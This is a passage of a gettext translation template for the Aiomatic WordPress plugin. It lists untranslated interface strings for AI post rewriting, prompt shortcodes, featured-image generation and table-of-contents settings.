msgstr "" #: res/aiomatic-single-list.php:7752 #, php-format msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %current_section%%, %%product_title%%, %%product_description%%, " "%%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, " "%%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "- Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. If you have access to the Amazon API, you can set it up in the " "plugin and get access to the following advanced shortcodes also: " "%%product_score%%, %%product_edition%%, %%product_language%%, " "%%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-single-list.php:8490 msgid "Generated Results" msgstr "" #: res/aiomatic-single-list.php:8534 msgid "Advanced Content Templates" msgstr "" #: res/aiomatic-spinner-list.php:34 msgid "Automatic Content Editing" msgstr "" #: res/aiomatic-spinner-list.php:35 msgid "Existing Content Editor" msgstr "" #: res/aiomatic-spinner-list.php:1016 msgid "Welcome to Automatic AI Content Editing" msgstr "" #: res/aiomatic-spinner-list.php:1018 msgid "" "Welcome to this comprehensive guide on how to use the automatic post editing " "feature of the Aiomatic plugin. This powerful tool leverages artificial " "intelligence to automatically edit and enhance your WordPress posts, saving " "you time and effort while ensuring your content is optimized and engaging. " "Whether you're publishing new posts, drafting content, or revising existing " "posts, the Aiomatic plugin can be configured to automatically apply a range " "of edits. These include rewriting content, assigning featured images, " "appending or prepending AI-generated content, adding internal links, " "inserting related comments, and generating SEO meta descriptions." msgstr "" #: res/aiomatic-spinner-list.php:1021 msgid "" "In this tutorial, we will walk you through each step of setting up and using " "this feature, from installation and activation of the plugin, to configuring " "automatic and manual editing settings, to defining your editing templates " "and options, and finally, to adjusting advanced AI API settings for the " "editing process. By the end of this guide, you'll be able to harness the " "power of AI to streamline your content creation process and enhance the " "quality of your posts. Let's get started!" msgstr "" #: res/aiomatic-spinner-list.php:1023 msgid "\"Automatic Content Editing Settings\" Tab" msgstr "" #: res/aiomatic-spinner-list.php:1024 msgid "Here, you can set up the conditions for automatic post editing:" msgstr "" #: res/aiomatic-spinner-list.php:1026 msgid "" "When to edit posts: Choose whether you want posts to be edited when they are " "published, drafted, or set as pending." msgstr "" #: res/aiomatic-spinner-list.php:1028 msgid "" "What post types to edit: Select the types of posts you want to be edited. " "This could be blog posts, pages, or any custom post types you have on your " "site." msgstr "" #: res/aiomatic-spinner-list.php:1030 msgid "" "How long to wait before editing new posts: Set a delay for the editing " "process. This could be useful if you want to review the posts yourself " "before they are automatically edited." msgstr "" #: res/aiomatic-spinner-list.php:1032 msgid "" "What categories or tags not to edit: If there are certain categories or tags " "you don't want to be edited, you can specify them here." msgstr "" #: res/aiomatic-spinner-list.php:1034 msgid "\"Manual Content Editing Settings\" Tab" msgstr "" #: res/aiomatic-spinner-list.php:1036 msgid "" "In the 'Manual Content Editing Settings' tab, you can set up the conditions " "for manual post editing. This is useful for editing existing posts. You can " "set detailed filters on what posts/pages/custom post types to automatically " "edit." msgstr "" #: res/aiomatic-spinner-list.php:1038 msgid "\"Editing Templates and Options\" Tab" msgstr "" #: res/aiomatic-spinner-list.php:1040 msgid "" "In the 'Editing Templates and Options' tab, you can set how to edit posts. " "Here are the options:" msgstr "" #: res/aiomatic-spinner-list.php:1042 msgid "" "Enable AI Content Rewriting: This will enable the editing and rewriting of " "the content." msgstr "" #: res/aiomatic-spinner-list.php:1044 msgid "" "Enable Featured Image Creation: This will automatically assign a featured " "image to the published content." msgstr "" #: res/aiomatic-spinner-list.php:1046 msgid "" "Enable Featured Image Editing: This will automatically edit the current " "featured image of the post, based on a predefined prompt." msgstr "" #: res/aiomatic-spinner-list.php:1048 msgid "" "Add AI Generated Content: This will automatically append or prepend AI " "generated content to posts." msgstr "" #: res/aiomatic-spinner-list.php:1050 msgid "" "Automatically Add Internal Links: This will automatically add internal links " "to posts." msgstr "" #: res/aiomatic-spinner-list.php:1052 msgid "" "Automatically Add Post Comments/Product Reviews: This will add related " "comments to posts or reviews to products." msgstr "" #: res/aiomatic-spinner-list.php:1054 msgid "" "Automatically Add AI Generated SEO Description To Posts: This will " "automatically add SEO meta description for posts." msgstr "" #: res/aiomatic-spinner-list.php:1056 msgid "" "You can also change the status of the posts after they were edited, using " "the 'Change Post Status After Editing' settings field." msgstr "" #: res/aiomatic-spinner-list.php:1059 msgid "\"Advanced AI API Settings\" Tab" msgstr "" #: res/aiomatic-spinner-list.php:1061 msgid "" "In the 'Advanced AI API Settings' tab, you can change advanced AI model " "settings, which will be used when editing content. This could include things " "like the complexity of the language used, the tone of the content, and more." msgstr "" #: res/aiomatic-spinner-list.php:1063 msgid "General Tips" msgstr "" #: res/aiomatic-spinner-list.php:1064 msgid "Be sure to always save settings you change." msgstr "" #: res/aiomatic-spinner-list.php:1066 msgid "" "After you've configured all the settings to your liking, make sure to click " "the \"Save Changes\" button at the bottom of the page." msgstr "" #: res/aiomatic-spinner-list.php:1068 msgid "" "And that's it! Your Aiomatic plugin is now set up to automatically edit your " "posts using AI. Remember, you can always go back and change these settings " "if you find that the automatic editing isn't working quite how you want it " "to." msgstr "" #: res/aiomatic-spinner-list.php:1069 msgid "AI Content Editor Tutorial Video" msgstr "" #: res/aiomatic-spinner-list.php:1075 msgid "AI Content Editing Options:" msgstr "" #: res/aiomatic-spinner-list.php:1081 msgid "The plugin will rewrite the textual content of the post, using AI." msgstr "" #: res/aiomatic-spinner-list.php:1085 msgid "Enable AI Content Rewriting:" msgstr "" #: res/aiomatic-spinner-list.php:1156 msgid "" "Select the AI model to use for text editing. Currently, the specialized edit " "models from OpenAI/AiomaticAPI are in beta, because of this, at the moment, " "it is recommended to use a completion model." msgstr "" #: res/aiomatic-spinner-list.php:1160 msgid "AI Model To Use For Text Editing:" msgstr "" #: res/aiomatic-spinner-list.php:1183 res/aiomatic-spinner-list.php:1963 #: res/aiomatic-spinner-list.php:2754 res/aiomatic-spinner-list.php:3025 #: res/aiomatic-spinner-list.php:3200 res/aiomatic-spinner-list.php:3394 #: res/aiomatic-spinner-list.php:3583 res/aiomatic-spinner-list.php:3823 msgid "" "Select if you want to use AI vision and send to the AI model also the " "Featured Image of the edited post. Note that the AI prompt might also be " "needed to be updated if you enable this feature." msgstr "" #: res/aiomatic-spinner-list.php:1187 res/aiomatic-spinner-list.php:1967 #: res/aiomatic-spinner-list.php:2758 res/aiomatic-spinner-list.php:3029 #: res/aiomatic-spinner-list.php:3204 res/aiomatic-spinner-list.php:3398 #: res/aiomatic-spinner-list.php:3587 res/aiomatic-spinner-list.php:3827 msgid "Enable AI Vision:" msgstr "" #: res/aiomatic-spinner-list.php:1203 msgid "Do you want to skip post title editing?" msgstr "" #: res/aiomatic-spinner-list.php:1207 msgid "Skip Post Title Editing:" msgstr "" #: res/aiomatic-spinner-list.php:1221 msgid "Do you want to rewrite also post URL with the modified title?" msgstr "" #: res/aiomatic-spinner-list.php:1225 msgid "Rewrite Also Post URL With The Modified Title:" msgstr "" #: res/aiomatic-spinner-list.php:1238 #, php-format msgid "" "Instruction for the AI editor, to edit post title. Please specify your " "instruction without adding the %%post_title%% shortcode, as the content will " "be automatically added at processing time. Nested shortcodes from other " "plugins also supported here. You can also use the following shortcodes: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. You can also use custom user meta fields " "(user meta) which is assigned to users using custom shortcodes in this " "format: %%~custom_field_slug~%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins)." msgstr "" #: res/aiomatic-spinner-list.php:1242 msgid "Instructions to Send For the AI Editor (Title Editing):" msgstr "" #: res/aiomatic-spinner-list.php:1258 msgid "Do you want to skip post content editing?" msgstr "" #: res/aiomatic-spinner-list.php:1262 msgid "Skip Post Content Editing:" msgstr "" #: res/aiomatic-spinner-list.php:1275 #, php-format msgid "" "Instruction for the AI editor, to edit post content. Please specify your " "instruction without adding the %%post_content%% shortcode, as the content " "will be automatically added at processing time. Nested shortcodes from other " "plugins also supported here. You can also use the following shortcodes: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. You can also use custom user meta fields " "(user meta) which is assigned to users using custom shortcodes in this " "format: %%~custom_field_slug~%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins)." msgstr "" #: res/aiomatic-spinner-list.php:1279 msgid "Instructions to Send For the AI Editor (Content Editing):" msgstr "" #: res/aiomatic-spinner-list.php:1295 msgid "Do you want to skip post slug (URL) editing?" msgstr "" #: res/aiomatic-spinner-list.php:1299 msgid "Skip Post Slug Editing:" msgstr "" #: res/aiomatic-spinner-list.php:1312 #, php-format msgid "" "Instruction for the AI editor, to edit post slug. Please specify your " "instruction without adding the %%post_slug%% shortcode, as the excerpt will " "be automatically added at processing time. Nested shortcodes from other " "plugins also supported here. You can also use the following shortcodes: " "%%post_slug%%, %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use " "custom fields (post meta) that it's assigned to posts using custom " "shortcodes in this format: %%!custom_field_slug!%%. You can also use custom " "user meta fields (user meta) which is assigned to users using custom " "shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to " "add data that is imported from the custom field post_data, you should use " "this shortcode: %%!post_data!%%. The length of this command should not be " "greater than the max token count set in the settings for the prompt command " "- Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins)." msgstr "" #: res/aiomatic-spinner-list.php:1316 msgid "Instructions to Send For the AI Editor (Slug Editing):" msgstr "" #: res/aiomatic-spinner-list.php:1330 msgid "Set the maximum length of the edited post slug (in characters)." msgstr "" #: res/aiomatic-spinner-list.php:1334 msgid "Edited Post Slug Max Length (Optional):" msgstr "" #: res/aiomatic-spinner-list.php:1346 msgid "Do you want to skip post excerpt editing?" msgstr "" #: res/aiomatic-spinner-list.php:1350 msgid "Skip Post Excerpt Editing:" msgstr "" #: res/aiomatic-spinner-list.php:1363 #, php-format msgid "" "Instruction for the AI editor, to edit post excerpt. Please specify your " "instruction without adding the %%post_excerpt%% shortcode, as the excerpt " "will be automatically added at processing time. Nested shortcodes from other " "plugins also supported here. You can also use the following shortcodes: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. You can also use custom user meta fields " "(user meta) which is assigned to users using custom shortcodes in this " "format: %%~custom_field_slug~%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins)." msgstr "" #: res/aiomatic-spinner-list.php:1367 msgid "Instructions to Send For the AI Editor (Excerpt Editing):" msgstr "" #: res/aiomatic-spinner-list.php:1386 msgid "AI Content Editor Temperature:" msgstr "" #: res/aiomatic-spinner-list.php:1399 msgid "AI Content Editor Top_p:" msgstr "" #: res/aiomatic-spinner-list.php:1408 msgid "" "Do you want to disable automatically editing of content longer than this " "character count?" msgstr "" #: res/aiomatic-spinner-list.php:1412 msgid "Disable Editing of Content Longer Than This Character Count:" msgstr "" #: res/aiomatic-spinner-list.php:1421 msgid "" "Currently, as the AI editor is in beta, it might have difficulties editing " "longer texts. If you encounter this issue, you can limit the chunk size " "which is sent to the AI editor (in characters). Leave this blank if editing " "works well in your case." msgstr "" #: res/aiomatic-spinner-list.php:1425 msgid "Maximum Character Chunk Size To Send To The AI Editor (Optional):" msgstr "" #: res/aiomatic-spinner-list.php:1436 msgid "" "Currently, because of an issue with the AI editor, sometimes it might remove " "parts of the HTML content you send to it for editing. The Aiomatic plugin " "can check if this happens and not change the post in these cases. If you " "check this checkbox, the edited content will be published, even if it misses " "some HTML tags. Do you want to publish edited content even if the AI editor " "removed some or all HTML content from the text?" msgstr "" #: res/aiomatic-spinner-list.php:1440 msgid "Publish Edited Content Even if the AI Removed Parts of the HTML Text:" msgstr "" #: res/aiomatic-spinner-list.php:1454 msgid "" "Do you want to protect HTML tags in edited text? This will add to the prompt " "you enter, a phrase which specifies to protect HTML tags from the edited " "text." msgstr "" #: res/aiomatic-spinner-list.php:1458 msgid "Protect HTML Tags in Edited Text:" msgstr "" #: res/aiomatic-spinner-list.php:1473 msgid "" "The plugin will automatically edit the images found in the post content, " "using AI, based on the prompt you define in the settings." msgstr "" #: res/aiomatic-spinner-list.php:1477 msgid "Enable Post Content Image Editing:" msgstr "" #: res/aiomatic-spinner-list.php:1499 msgid "Select the engine which will be used for content image editing." msgstr "" #: res/aiomatic-spinner-list.php:1503 msgid "Content Image Editing Engine:" msgstr "" #: res/aiomatic-spinner-list.php:1524 #, php-format msgid "" "Set an prompt command you want to send to the AI content image editor. This " "command can be any given task or order, based on which, it will edit the " "featured image of the post. You can use the following shortcodes here: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. You can also use custom user meta fields " "(user meta) which is assigned to users using custom shortcodes in this " "format: %%~custom_field_slug~%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). If you use " "Royalty Free Images as a source, you can also set their keywords here, if no " "keywords set, they will be automatically generated." msgstr "" #: res/aiomatic-spinner-list.php:1528 msgid "Prompt To Send To The AI Content Image Editor:" msgstr "" #: res/aiomatic-spinner-list.php:1541 res/aiomatic-spinner-list.php:1817 msgid "" "How much influence the init_image has on the diffusion process. Values close " "to 1 will yield images very similar to the init_image while values close to " "0 will yield images wildly different than the init_image. The behavior of " "this is meant to mirror DreamStudio's \"Image Strength\" slider. This " "parameter is just an alternate way to set step_schedule_start, which is done " "via the calculation 1 - image_strength. For example, passing in an Image " "Strength of 35% (0.35) would result in a step_schedule_start of 0.65." msgstr "" #: res/aiomatic-spinner-list.php:1545 msgid "Original Content Image Strength:" msgstr "" #: res/aiomatic-spinner-list.php:1555 msgid "" "Maximum number of images that should be edited from the post content. This " "is a protection mechanism, to not allow the plugin to edit too many images " "from a single post's content. To disable this feature, leave it blank." msgstr "" #: res/aiomatic-spinner-list.php:1559 msgid "Maximum Number Of Images To Edit From A Single Post Content:" msgstr "" #: res/aiomatic-spinner-list.php:1565 msgid "AI Generated Featured Image Options:" msgstr "" #: res/aiomatic-spinner-list.php:1571 msgid "" "The plugin will generate AI generated or royalty free images, that will be " "assigned as featured images for posts." msgstr "" #: res/aiomatic-spinner-list.php:1575 msgid "Enable Featured Image Creation:" msgstr "" #: res/aiomatic-spinner-list.php:1597 msgid "Select the source of the created featured images." msgstr "" #: res/aiomatic-spinner-list.php:1601 msgid "Featured Image Source:" msgstr "" #: res/aiomatic-spinner-list.php:1640 #, php-format msgid "" "Set an prompt command you want to send to the AI image generator. This " "command can be any given task or order, based on which, it will generate " "content for posts. You can use the following shortcodes here: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. You can also use custom user meta fields " "(user meta) which is assigned to users using custom shortcodes in this " "format: %%~custom_field_slug~%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). If you use " "Royalty Free Images as a source, you can also set their keywords here, if no " "keywords set, they will be automatically generated." msgstr "" #: res/aiomatic-spinner-list.php:1644 msgid "Prompt To Send To The AI Image Generator:" msgstr "" #: res/aiomatic-spinner-list.php:1657 res/aiomatic-spinner-list.php:1699 msgid "Set the size of the generated featured image." msgstr "" #: res/aiomatic-spinner-list.php:1661 msgid "Generated Featured Image Size:" msgstr "" #: res/aiomatic-spinner-list.php:1730 msgid "" "Set a comma sepatated list of images to assign to posts. You can also use " "the AI to select the best matching image (basd on keywords from image name " "and URL)." msgstr "" #: res/aiomatic-spinner-list.php:1749 msgid "" "The plugin will automatically edit the featured image of the post, using AI, " "based on the prompt you define in the settings." msgstr "" #: res/aiomatic-spinner-list.php:1753 msgid "Enable Featured Image Editing:" msgstr "" #: res/aiomatic-spinner-list.php:1775 msgid "Select the engine which will be used for image editing." msgstr "" #: res/aiomatic-spinner-list.php:1779 msgid "Featured Image Editing Engine:" msgstr "" #: res/aiomatic-spinner-list.php:1800 #, php-format msgid "" "Set an prompt command you want to send to the AI image editor. This command " "can be any given task or order, based on which, it will edit the featured " "image of the post. You can use the following shortcodes here: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%. You can also use custom fields " "(post meta) that it's assigned to posts using custom shortcodes in this " "format: %%!custom_field_slug!%%. You can also use custom user meta fields " "(user meta) which is assigned to users using custom shortcodes in this " "format: %%~custom_field_slug~%%. Example: if you wish to add data that is " "imported from the custom field post_data, you should use this shortcode: %%!" "post_data!%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). If you use " "Royalty Free Images as a source, you can also set their keywords here, if no " "keywords set, they will be automatically generated." msgstr "" #: res/aiomatic-spinner-list.php:1804 msgid "Prompt To Send To The AI Image Editor:" msgstr "" #: res/aiomatic-spinner-list.php:1821 msgid "Original Image Strength:" msgstr "" #: res/aiomatic-spinner-list.php:1827 msgid "AI Content Completition Options:" msgstr "" #: res/aiomatic-spinner-list.php:1833 res/aiomatic-spinner-list.php:4639 msgid "" "The plugin will generate AI content, that will be prepended or appended to " "each post's content." msgstr "" #: res/aiomatic-spinner-list.php:1837 msgid "Add AI Generated Content:" msgstr "" #: res/aiomatic-spinner-list.php:1846 res/aiomatic-spinner-list.php:2311 #: res/aiomatic-spinner-list.php:4652 msgid "Append To The End" msgstr "" #: res/aiomatic-spinner-list.php:1851 res/aiomatic-spinner-list.php:2306 #: res/aiomatic-spinner-list.php:4657 msgid "Prepend To The Beginning" msgstr "" #: res/aiomatic-spinner-list.php:1856 msgid "Inject Into Existing Content" msgstr "" #: res/aiomatic-spinner-list.php:1870 #, php-format msgid "" "Set an prompt command you want to send to the AI text generator. This " "command can be any given task or order, based on which, it will generate " "content for posts. You can use the following shortcodes here: " "%%post_title%%, %%post_content%%, %%first_content_paragraph_plain_text%%, " "%%last_content_paragraph_plain_text%%, %%first_content_paragraph%%, " "%%last_content_paragraph%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%. You can also use custom fields (post meta) that it's " "assigned to posts using custom shortcodes in this format: %%!" "custom_field_slug!%%. You can also use custom user meta fields (user meta) " "which is assigned to users using custom shortcodes in this format: " "%%~custom_field_slug~%%. Example: if you wish to add data that is imported " "from the custom field post_data, you should use this shortcode: %%!post_data!" "%%. The length of this command should not be greater than the max token " "count set in the settings for the prompt command - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins)." msgstr "" #: res/aiomatic-spinner-list.php:1935 msgid "Select the AI Model you want to use." msgstr "" #: res/aiomatic-spinner-list.php:1939 msgid "AI Model To Use:" msgstr "" #: res/aiomatic-spinner-list.php:1980 msgid "" "Set the maximum number of API tokens to use with each request. This will " "define the length of the resulting API response. Each token usually consists " "of approximately 4 characters. Note that in this value the number of tokens " "sent to the API as an article prompt will also be counted. The maximum " "amount which can be set it 4000." msgstr "" #: res/aiomatic-spinner-list.php:1993 msgid "" "Set the maximum number of prompt API tokens to use with each request. This " "will define the length of the resulting API response. Each token usually " "consists of approximately 4 characters. This defines how much content does " "the API receive each time you call it. If the API gets more initial data, " "better quality results will be expected. The maximum amount which can be set " "it 1000." msgstr "" #: res/aiomatic-spinner-list.php:2006 msgid "" "Set the maximum number of result API tokens to use with each request. This " "will define the length of the resulting API response. Each token usually " "consists of approximately 4 characters. This defines how much content does " "the API receive each time you call it. If the API gets more initial data, " "better quality results will be expected. The maximum amount which can be set " "it 2048." msgstr "" #: res/aiomatic-spinner-list.php:2010 msgid "Maximum Result Token Count To Use Per API Request:" msgstr "" #: res/aiomatic-spinner-list.php:2019 msgid "" "Set the maximum number of continue API tokens to use with each request. This " "will define the length of the resulting API response. Each token usually " "consists of approximately 4 characters. This defines how much content does " "the API receive each time you call it. If the API gets more initial data, " "better quality results will be expected. The maximum amount which can be set " "it 2048." msgstr "" #: res/aiomatic-spinner-list.php:2028 msgid "Advanced API Settings:" msgstr "" #: res/aiomatic-spinner-list.php:2039 msgid "AI Content Writer Temperature:" msgstr "" #: res/aiomatic-spinner-list.php:2052 msgid "AI Content Writer Top_p:" msgstr "" #: res/aiomatic-spinner-list.php:2087 #, php-format msgid "" "Select the minimum number of characters that the content additional content " "should have. If the API returns content which has fewer characters than this " "number, another API call will be made, until this character limit is met. " "Please check about API rate limiting here." msgstr "" #: res/aiomatic-spinner-list.php:2091 msgid "Created Content Minimum Character Count:" msgstr "" #: res/aiomatic-spinner-list.php:2098 msgid "Rich Content Creation Options:" msgstr "" #: res/aiomatic-spinner-list.php:2197 #, php-format msgid "" "Set the prompt you will use when searching for related headings. You can use " "the following shortcodes: %%post_title%%, %%needed_heading_count%%. The same " "model will be used, as the one selected for content creation. If you leave " "this field blank, the default prompt will be used: 'Write " "%%needed_heading_count%% PAA related questions, each on a new line, for the " "title: %%post_title%%'" msgstr "" #: res/aiomatic-spinner-list.php:2201 msgid "Prompt For The AI Related Headings Generator:" msgstr "" #: res/aiomatic-spinner-list.php:2213 msgid "" "Set the maximum number of related images to add to the created post content. " "This feature will use the 'Royalty Free Image' settings from the plugin's " "'Settings' menu.'" msgstr "" #: res/aiomatic-spinner-list.php:2229 msgid "" "Do you want to replace the royalty free image with an AI generated image?" msgstr "" #: res/aiomatic-spinner-list.php:2233 msgid "AI Image Source:" msgstr "" #: res/aiomatic-spinner-list.php:2293 msgid "The plugin will generate a table of contents for edited posts." msgstr "" #: res/aiomatic-spinner-list.php:2297 msgid "Add Table Of Contents To Posts:" msgstr "" #: res/aiomatic-spinner-list.php:2316 msgid "Before First Heading" msgstr "" #: res/aiomatic-spinner-list.php:2321 msgid "After First Heading" msgstr "" #: res/aiomatic-spinner-list.php:2335 msgid "Select when do you want to show the ToC in edited posts." msgstr "" #: res/aiomatic-spinner-list.php:2339 msgid "When To Show The Table Of Contents:" msgstr "" #: res/aiomatic-spinner-list.php:2348 msgid "2 Or More Headings" msgstr "" #: res/aiomatic-spinner-list.php:2353 msgid "3 Or More Headings" msgstr "" #: res/aiomatic-spinner-list.php:2358 msgid "4 Or More Headings" msgstr "" #: res/aiomatic-spinner-list.php:2363 msgid "5 Or More Headings" msgstr "" #: res/aiomatic-spinner-list.php:2368 msgid "6 Or More Headings" msgstr "" #: res/aiomatic-spinner-list.php:2373 msgid "7 Or More Headings" msgstr "" #: res/aiomatic-spinner-list.php:2378 msgid "8 Or More Headings" msgstr "" #: res/aiomatic-spinner-list.php:2383 msgid "9 Or More Headings" msgstr "" #: res/aiomatic-spinner-list.php:2388 msgid "10 Or More Headings" msgstr "" #: res/aiomatic-spinner-list.php:2393 msgid "11 Or More Headings" msgstr "" #: res/aiomatic-spinner-list.php:2398 msgid "12 Or More Headings" msgstr "" #: res/aiomatic-spinner-list.php:2407 msgid "Select the title to show on top of the table of contents." msgstr "" #: res/aiomatic-spinner-list.php:2411 msgid "Table Of Contents Title:" msgstr "" #: res/aiomatic-spinner-list.php:2423 msgid "Select if you want to show headings hierarchically." msgstr "" #: res/aiomatic-spinner-list.php:2427 msgid "Show Hierarchical Table of Contents:" msgstr "" #: res/aiomatic-spinner-list.php:2442 msgid "" "Select if you want to add numbers to list items from the Table of Contents." msgstr "" #: res/aiomatic-spinner-list.php:2446 msgid "Add Numbers To List Items:" msgstr "" #: res/aiomatic-spinner-list.php:2461 msgid "" "Include the following heading levels. Deselecting a heading will exclude it." msgstr "" #: res/aiomatic-spinner-list.php:2465 msgid "Content Heading Levels To Include:" msgstr "" #: res/aiomatic-spinner-list.php:2472 msgid "Heading 1 - h1" msgstr "" #: res/aiomatic-spinner-list.php:2476 msgid "Heading 2 - h2" msgstr "" #: res/aiomatic-spinner-list.php:2480 msgid "Heading 3 - h3" msgstr "" #: res/aiomatic-spinner-list.php:2484 msgid "Heading 4 - h4" msgstr "" #: res/aiomatic-spinner-list.php:2488 msgid "Heading 5 - h5" msgstr "" #: res/aiomatic-spinner-list.php:2492 msgid "Heading 6 - h6" msgstr "" #: res/aiomatic-spinner-list.php:2500 msgid "" "Specify headings to be excluded from appearing in the table of contents. " "Separate multiple headings with a pipe |. Use an asterisk * as a wildcard to " "match other text. Note that this is not case sensitive. Some examples: " "Fruit* ignore headings starting with \"Fruit\" *Fruit Diet* ignore headings " "with \"Fruit Diet\" somewhere in the heading Apple Tree|Oranges|Yellow " "Bananas ignore headings that are exactly \"Apple Tree\", \"Oranges\" or " "\"Yellow Bananas\"" msgstr "" #: res/aiomatic-spinner-list.php:2504 msgid "Excluded Headings Patterns:" msgstr "" #: res/aiomatic-spinner-list.php:2516 msgid "Select the direction in which you want to float the Table of Contents." msgstr "" #: res/aiomatic-spinner-list.php:2520 msgid "Table Of Contents Position:" msgstr "" #: res/aiomatic-spinner-list.php:2548 msgid "Select the color theme for the Table of Contents." msgstr "" #: res/aiomatic-spinner-list.php:2552 msgid "Table Of Contents Color Theme:" msgstr "" #: res/aiomatic-spinner-list.php:2561 msgid "Transparent" msgstr "" #: res/aiomatic-spinner-list.php:2566 msgid "Gray" msgstr "" #: res/aiomatic-spinner-list.php:2571 msgid "Light Blue" msgstr "" #: res/aiomatic-spinner-list.php:2576 msgid "White" msgstr "" #: res/aiomatic-spinner-list.php:2581 msgid "Black" msgstr "" #: res/aiomatic-spinner-list.php:2586 msgid "Post Content Automatic Linking Options:" msgstr "" #: res/aiomatic-spinner-list.php:2592 msgid "" "The plugin will automatically add automatic links to other posts from your " "site, to keywords from each post." msgstr "" #: res/aiomatic-spinner-list.php:2596 msgid "Automatically Add Links To Posts:" msgstr "" #: res/aiomatic-spinner-list.php:2620 msgid "" "Select the automatic 